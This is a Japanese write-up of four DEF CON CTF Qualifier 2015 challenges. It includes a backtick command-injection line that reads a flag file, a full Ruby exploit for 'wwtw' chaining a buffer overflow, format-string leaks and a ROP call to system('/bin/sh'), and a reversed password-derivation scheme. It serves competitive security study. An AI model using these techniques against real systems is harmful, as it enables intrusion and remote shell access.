DEF CON CTF Qualifier 2015 writeup
DEF CON CTF Qualifier 2015に参加しました(´∀`)
vulscryptos(vuls + scryptos)で参加し、チームは8問解いて10ptの67位でした。
私は4問解いて5pt入れました(*´ω`*)
解いた問題のwriteupを置いておきます(`・ω・´)
babycmd (Baby's First:1pt)
ping, dig, hostコマンドが実行できるシステム。
hostコマンドの場合、
「コマンド入力→引数チェック→ホスト名のチェック→popen
でコマンド実行→出力をそのままprintf
に渡す」
という処理になっている。
FSBがあるが、__printf_chk
の保護機構が有効になっており、%n
や%N$
の使用が制限されている。
保護機構を回避しつつformat string attackで攻める方針で調べていたらつらすぎたので、
引数チェックの処理をちゃんと読み、コマンドインジェクションの可能性を探ることにした。
その結果、以下のことがわかった。
"&", "'", "|", "*", "!", "#", ":", ";"
の8文字を引数に含めると、引数チェックで怒られる- ホスト名チェックを通過するための条件は以下の通り
- 63文字以内
- 最初と最後の文字がアルファベットか数字
- ホスト名チェックを通過すると、
host "hoge"
が実行される
hostコマンドに渡される引数がシングルクォートで囲まれていないので式展開が使える。
host a`cat</home/babycmd/flag`a
と叩いてフラグを取った。
FLAG:Pretty easy eh!!~ Now let's try something hArd3r, shallwe??
mathwhiz (Baby's First:1pt)
"2 - 1 ="という式の計算結果を延々答える問題(出てくる数字は1~3のみ)。
お邪魔要素(?)として
- 丸括弧(
()
)の代わりに中括弧({}
)や角括弧([]
)が使われることがある - 累乗の演算子が
^
- 数字の代わりにONE, TWO, THREEが使われることがある
があるが、適宜置換してevalすればOK
require_relative "../pwnlib" ONE = 1 TWO = 2 THREE = 3 PwnTube.open("mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me", 21249){|tube| tube.wait_time = 0 while true s = tube.recv_until("\n").tap{|a| puts a} if s =~ /You won/ break end s = s.chomp.gsub("=", "").gsub("[", "(").gsub("]", ")").gsub("{", "(").gsub("}", ")").gsub("^", "**") tube.send(eval(s).to_s + "\n") end tube.interactive false }
FLAG:Farva says you are a FickenChucker and you'd better watch Super Troopers 2
wibbly wobbly timey wimey (Pwnable:2pt)
下調べ。
$ file wwtw ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x96e65f0ca5756e4f62012102a868fc3550cfc569, stripped $ checksec --file wwtw RELRO STACK CANARY NX PIE RPATH RUNPATH Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH wwtw
ぬるゲーを5回クリアするとTARDIS KEYなるものの入力を求められる。
TARDIS KEYのチェック関数を見てみると、
int tardis_auth(){ //0xeb8 char buf; //ebp-0x12 int i = 10; //ebp-0x10 char *c = (char*)tardis_auth; printf("TARDIS KEY: "); fflush(stdout); while(i != 0){ if(isalnum(*c & 0x7f)){ if(read(0, &buf, 1) == 1 && buf != *c & 0x7f){ return 1; //NG } i -= 1; } } return 0; //OK }
という感じになっている。ここは"UeSlhCAGEp"
と入力すればOK。
ここから先の処理はこんな感じ
int current_time; //0x50a4 int tick_count; //0x50a8 int is_tardis_online; //0x50ac char menu_input[8]; //0x50b0 int sock_fd; //0x50b8 void show_tardismenu(){ puts("Your options are: "); puts("1. Turn on the console"); puts("2. Leave the TARDIS"); if(is_tardis_online){ puts("3. Demeterialize"); } fflush(stdout); return; } void update_timestate(){ int buf; //ebp-0x10 if(tick_count++ > 5){ puts("\nUnauthorized occupant detected...goodbye"); exit(-1); } if(sock_fd == -1){ fwrite(stderr, "Time vortex not responding\n", 27); return; } write(sock_fd, "\0", 1); if(read(sock_fd, &buf, 4) == 4){ current_time = buf; } alarm(2); return; } void dematerialize(){ char *var_424; //ebp-0x424 double var_420; //ebp-0x420 double var_418; //ebp-0x418 char buffer[1024]; //ebp-0x40c int canary; //ebp-0xc while(1){ printf("Coordinates: "); fflush(stdout); if(read_str(0, buffer, 1023, '\n') == -1){ //read_str(int fd, char* buffer, int length, char delim) exit(-1); } var_424 = strchr(buffer, ','); if(var_424 == NULL){ puts("Invalid coordinates"); continue; } var_420 = atof(buffer); var_418 = atof(var_424 + 1); printf("%f, %f\n", var_420, var_418); if(var_420 != 51.492137 || var_418 != -0.192878){ printf("You safely travel to coordinates %s\n", buffer); return; }else{ printf("Coordinate "); printf(buffer); printf(" is occupied by another TARDIS. Materializing there "); puts("would rip a hole in time and space. Choose again."); fflush(stdout); } } } int is_service_time(){ return 1431907180 < current_time && current_time <= 143190720; } int main(){ char service_time_from[100]; //esp+0x34 char service_time_to[100]; //esp+0x98 is_tardis_online = 0; //ぬるゲー game(); if(tardis_auth() == 1){ puts("Wrong key!"); puts("Enjoy 1960..."); return 0; } puts("Welcome to the TARDIS!"); //何やら時刻データの設定(略) connect_to_timeserver(); //localhost:1234にUDPで繋ぎ、fdをグローバル変数sock_fdに入れる update_timestate(); signal(SIGALRM, update_timestate); alarm(2); while(1){ tick_count = 0; show_tardis_menu(); bzero(menu_input, 8); if(read(0, menu_input, 9) <= 0){ //☆ exit(-1); } switch(menu_input[0]){ case '1': if(is_service_time()){ printf("The TARDIS console is online!"); is_tardis_online = 1; fflush(stdout); }else{ //5/17 23:59:40 GMT~5/18 0:00:00 GMTじゃないと怒られる printf("Access denied except between %s and %s\n", service_time_from, service_time_to); fflush(stdout); } break; case '2': puts("Enjoy 1960..."); exit(0); break; case '3': if(is_tardis_online){ dematerialize(); }else{ puts("Invalid"); fflush(stdout); } break; default: puts("Invalid"); fflush(stdout); break; } } }
- localhost:1234にUDPで繋ぎ、2秒おきに「
"\0"
送信→受信した4byte intをcurrent time
に入れる」という処理をしている current_time
が1431907180~143190720の範囲内にある場合のみ3. Dematerialize
の選択肢が出現
ということがわかる。
dematerialize
内でformat string attackが可能だが、is_tardis_online
フラグが立っていないとdematerialize
を呼び出せないため、「5/17 23:59:40 GMTまで待つ」以外でis_tardis_online
フラグを立てる方法を考える。
コードをよく見ると、バッファオーバフローのバグ(☆部)があり、sock_fd
の下位1バイト目を任意の値に上書きできることがわかる。
2秒おきにsock_fd
経由で時刻情報を読み込んでいるので、sock_fd
を0にしてしまえば標準入力からcurrent_time
を設定することができる。
ということで、exploitの大まかな流れは
- ゲームをクリア
- TARDIS KEY入力
- バッファオーバフローで
sock_fd
を0に上書き "\0"
が来るまで待つis_service_time() == 1
になるようにcurrent_time
を設定dematerialize
でformat string attackしてshellを取る
となる。
#coding:ascii-8bit require_relative "../pwnlib" Tardis_key = "UeSlhCAGEp" Coordinates = "51.492137,-0.192878 " # 盤面のparse def parse_field(str) field = Array.new(20){Array.new(20, :blank)} ship = {x: 0, y: 0} goal = {x: 0, y: 0} for y in 0..19 for x in 0..19 case str.lines[1 + y][3 + x] when /[\^V<>]/ field[y][x] = :current ship[:x] = x ship[:y] = y when "A" field[y][x] = :angel when /[ET]/ field[y][x] = :goal goal[:x] = x goal[:y] = y end end end return [field, ship, goal] end # 2点間のユークリッド距離を求める def get_distance(x1, y1, x2, y2) (x1 - x2) ** 2 + (y1 - y2) ** 2 end def get_next_move(str) field, ship, goal = parse_field(str) dx = {up: 0, down: 0, right: 1, left: -1} dy = {up: -1, down: 1, right: 0, left: 0} distance = 1 << 31 result = nil # 上下左右のうち、Angelと重ならず、かつゴールまでの距離が短くなる方角を調べる [:up, :down, :right, :left].each{|d| x = ship[:x] + dx[d] y = ship[:y] + dy[d] if 0 <= x && x < 20 && 0 <= y && y < 20 && field[y][x] != :angel && distance > get_distance(x, y, goal[:x], goal[:y]) distance = get_distance(x, y, goal[:x], goal[:y]) result = d end } return result end # TARDIS KEYの入力を求められるまで遊ぶ def play_game(tube) dic = {up: "w", down: "s", right: "d", left: "a"} while true print "." # 盤面を読み込み str = tube.recv_until(/TARDIS KEY:|\(w,a,s,d,q\):/) if str =~ /TARDIS KEY:/ break end # 先頭にメッセージ等ついている場合は除去 str = str[str =~ / 012345678901234567890/ .. -1] # 進む方向を調べる direction = get_next_move(str) tube.send(dic[direction] + "\n") end puts end def build_format_string(prefix, index, start_address, data) str = "" str << prefix str << (start_address...start_address + data.length).to_a.pack("L*") current = str.length data.bytes.each{|b| if b != current str << "%#{(b - current + 256) % 256}c" current = b end str << "%#{index}$hhn" index += 1 } return str end PwnTube.open("wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me", 2606){|tube| puts "[*] play game" play_game(tube) puts "[*] send TARDIS key" tube.send(Tardis_key + "\n") puts "[*] overwrite fd" tube.send("1" * 8 + "\x00") puts "[*] wait for alarm" tube.recv_until("\0") puts "[*] send time" tube.send([1431907181].pack("L")) puts "[*] turn on the console" tube.send("1\n") # また時間の入力を求められるとややこしいので、fdは戻しておく puts "[*] overwrite fd" tube.send("A" * 8 + "\x03") puts "[*] dematerialize" tube.send("3\n") puts "[*] leak base address" tube.recv_until("Coordinates:") tube.send(Coordinates + "%275$p\n") base_address = tube.recv_until("Choose again.").match(/0x[0-9a-f]{8}/).to_s.to_i(16) - 0x1491 puts sprintf("base address = 0x%08x", base_address) puts "[*] get read address" tube.recv_until("Coordinates:") tube.send(Coordinates + [base_address + 0x5010].pack("L") + "%20$s\n") call_read = tube.recv_until("Choose again.").match(/#{Coordinates}.{4}(.{4})/).captures[0].unpack("L")[0] puts sprintf("read = 0x%08x", call_read) puts "[*] get write address" tube.recv_until("Coordinates:") tube.send(Coordinates + [base_address + 0x5068].pack("L") + "%20$s\n") call_write = tube.recv_until("Choose again.").match(/#{Coordinates}.{4}(.{4})/).captures[0].unpack("L")[0] puts sprintf("write = 0x%08x", call_write) puts "[*] leak stack address" tube.recv_until("Coordinates:") tube.send(Coordinates + "%9$p\n") esp_address = tube.recv_until("Choose again.").match(/0x[0-9a-f]{8}/).to_s.to_i(16) - 10 - 0x3c return_address = esp_address + 0x444 + 8 puts sprintf("esp = 0x%08x", esp_address) bin_sh_address = call_read + 0x84f50 + 0xf04 call_system = call_read - 0xdabd0 + 0x40190 puts "[*] send rop" tube.recv_until("Coordinates:") rop = "" # rop << [call_write, 0xdeadbeef, 1, call_read + 0x84f50, 0x10000].pack("L*") #libcのrodata領域dump用 rop << [call_system, 0xdeadbeef, bin_sh_address].pack("L*") payload = build_format_string(Coordinates, 20, return_address, rop) raise "payload.length = #{payload.length}" if payload.length >= 1024 raise "including \\n" if payload =~ /\n/ tube.send(payload + "\n") puts "[*] trigger" tube.recv_until("Coordinates:") tube.send("1,1\n") tube.interactive }
$ ruby wwtw.rb [*] connected [*] play game ............................................................................. [*] send TARDIS key [*] overwrite fd [*] wait for alarm [*] send time [*] turn on the console [*] overwrite fd [*] dematerialize [*] leak base address base address = 0xf7776000 [*] get read address read = 0xf7676bd0 [*] get write address write = 0xf7676c50 [*] leak stack address esp = 0xff960fc0 [*] send rop [*] trigger [*] interactive mode cat /home/wwtw/flag The flag is: Would you like a Jelly Baby? !@()*ASF)9UW$askjal
Access Control (Reverse:1pt)
Cに直すとこんな感じ。
char var_804b080[]; //0x0804b080 int sock_fd; //0x0804bc84 int stage; //0x0804b468 char challenge[]; //0x0804b46c char username[]; //0x0804b472 char buffer[]; //0x0804b4a0 char connection_id[15]; //0x0804bc70 int key1; //0x0804bc80 int key2 = 1; //0x0804b04c int recv_until(char *str){ if(recv(sock_fd, buffer, 2000) < 0){ puts("recv failed"); exit(-1); } printf("<< %s\n", buffer); if(strstr(buffer, str) == NULL){ memset(buffer, 0, 2000); return 0; } if(strstr(buffer, "connection ID:") != NULL){ strncpy(connection_id, strstr(buffer, "connection ID: ") + 15, 15); } if(strstr(buffer, "challenge:") != NULL){ strncpy(challenge, strstr(buffer, "challenge: ") + 11, 5); } memset(buffer, 0, 2000); return 1; } void decode1(char *in, char *out){ int i; char var_11[]; var_18 = key1 % 3 + key2; strncpy(var_11, &connection_id[var_18], 5); for(i = 0; i <= 4; i++){ out[i] = in[i] ^ var_11[i]; } return; } void decode2(char *str){ int i; for(i = 0; i <= 4; i++){ if(str[i] <= 0x1f){ str[i] += 0x20; } if(str[i] == 0x7f){ str[i] -= 0x7e; str[i] += 0x20; } } return; } int main(int argc, char **argv){ int var_78; char var_72[]; char password[]; char var_16[]; if(argc <= 1){ puts("Need IP"); return -1; } //argv[1]の17069番ポートにTCPで繋ぎ、fdをsock_fdに入れる stage = 0; while(1){ if(var_78 == 0){ printf("Enter message: "); fgets(var_804b080, 1000, stdin); if(strcmp(var_804b080, "hack the world\n") == 0){ var_78 = 1; }else{ printf("nope...%s\n", var_804b080); return -1; } } switch(stage){ case 0: if(recv_until("what version is your client?") != 0){ key1 = connection_id[7]; send_str("version 3.11.54\n"); } if(recv_until("hello...who is this?") != 0){ stage = 1; } break; case 1: send_str("grumpy\n"); strcpy(username, "grumpy"); recv_until("enter user password"); if(recv_until("enter user password") != 0){ memset(password, 0, 6); decode1("grumpy", password); decode2(password); password[5] = '\0'; sprintf(password, "%s\n", password); send_str(password); } //ここにvar_72のクリア処理? sprintf(var_72, "hello %s, what would you like to do?", username); if(recv_until(var_72) != 0){ stage = 2; } break; case 2: send_str("list users\n"); recv_until("deadwood"); //ここにvar_72のクリア処理? sprintf(var_72, "hello %s, what would you like to do?", username); if(recv_until(var_72) != 0){ send_str("print key\n"); recv_until("the key is:"); } stage = 0; break; case 3: send_str("list users\n"); recv_until("deadwood"); //ここにvar_72のクリア処理? sprintf(var_72, "hello %s, what would you like to do?", username); if(recv_until(var_72) != 0){ send_str("print key\n"); recv_until("challenge:"); if(recv_until("answer?") != 0){ memset(password, 0, 6); key2 = 7; decode1(challenge, password); key2 = 1; decode2(password); password[5] = '\0'; memset(var_16, 0, 6); strncpy(var_16, password, 5); send_str(var_16); recv_until("the key is:"); recv_until(var_72); stage = 0; } } break; default: stage = 0; break; } } }
本番サーバに繋いで動作を見てみる。
$ nslookup access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me Server: 127.0.1.1 Address: 127.0.1.1#53 Non-authoritative answer: Name: access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me Address: 54.84.39.118 $ ./client 54.84.39.118 Socket created Enter message : hack the world << connection ID: }^90T)46@#MU,M *** Welcome to the ACME data retrieval service *** what version is your client? << hello...who is this? << << enter user password << hello grumpy, what would you like to do? << grumpy << mrvito gynophage selir jymbolia sirgoon duchess deadwood hello grumpy, what would you like to do? << the key is not accessible from this account. your administrator has been notified. << hello grumpy, what would you like to do?
grumpyさんだとprint key
を使わせてもらえないっぽい。
途中にlist users
コマンドの出力結果っぽいものが出ているので、この中にprint key
が使えるアカウントがあるかを調べたい……。
ということで、ログインまでの部分を自動化したクライアントを作った。
#coding:ascii-8bit require_relative "../pwnlib" def decode(username, connection_id, key) password = "" for i in 0..4 c = username.bytes[i] ^ connection_id.bytes[i + key + (connection_id.bytes[7] % 3)] if c <= 0x1f c += 0x20 end if c == 0x7f c = 0x21 end password << c.chr end return password end PwnTube.open("access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me", 17069){|tube| username = "grumpy" puts "[*] get connection ID" connection_id = tube.recv_until(/connection ID: .{14}/)[-14..-1] puts "connection ID = #{connection_id}" puts "[*] send version" tube.recv_until("what version is your client?") tube.send("version 3.11.54\n") puts "[*] send username" tube.recv_until("hello...who is this?") tube.send(username + "\n") puts "[*] send password" tube.recv_until("enter user password") password = decode(username, connection_id, 1) tube.send(password + "\n") tube.interactive false }
$ ruby access_control.rb [*] connected [*] get connection ID connection ID = /3bFAC#FFlzDZG [*] send version [*] send username [*] send password [*] interactive mode hello grumpy, what would you like to do? list users grumpy mrvito gynophage selir jymbolia sirgoon duchess deadwood hello grumpy, what would you like to do? print key the key is not accessible from this account. your administrator has been notified.
調べた結果、duchessさんならprint key
が使えることがわかった。
$ ruby access_control.rb [*] connected [*] get connection ID connection ID = .1R+107zE}axRe [*] send version [*] send username [*] send password [*] interactive mode hello duchess, what would you like to do? print key challenge: S/&5$ answer? aaaaaaa you are not worthy
print key
にも認証がかかっているようなので、クライアントのプログラムを参考にしつつ実装。
#coding:ascii-8bit require_relative "../pwnlib" =begin list users x grumpy x mrvito x gynophage x selir x jymbolia x sirgoon o duchess x deadwood =end def decode(username, connection_id, key) password = "" for i in 0..4 c = username.bytes[i] ^ connection_id.bytes[i + key + (connection_id.bytes[7] % 3)] if c <= 0x1f c += 0x20 end if c == 0x7f c = 0x21 end password << c.chr end return password end PwnTube.open("access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me", 17069){|tube| username = "duchess" puts "[*] get connection ID" connection_id = tube.recv_until(/connection ID: .{14}/)[-14..-1] puts "connection ID = #{connection_id}" puts "[*] send version" tube.recv_until("what version is your client?") tube.send("version 3.11.54\n") puts "[*] send username" tube.recv_until("hello...who is this?") tube.send(username + "\n") puts "[*] send password" tube.recv_until("enter user password") password = decode(username, connection_id, 1) tube.send(password + "\n") puts "[*] get challenge" tube.recv_until("hello #{username}, what would you like to do?") tube.send("print key\n") challenge = tube.recv_until(/challenge: .{5}/)[-5..-1] puts "challenge = #{challenge}" answer = decode(challenge, connection_id, 7) puts "answer = #{answer}" tube.recv_until("answer?") tube.send(answer + "\n") tube.interactive false }
$ ruby access_control.rb [*] connected [*] get connection ID connection ID = p$:CyuPP]P&fFr [*] send version [*] send username [*] send password [*] get challenge challenge = 4%>8C answer = d#X~1 [*] interactive mode the key is: The only easy day was yesterday. 44564
FLAG:The only easy day was yesterday. 44564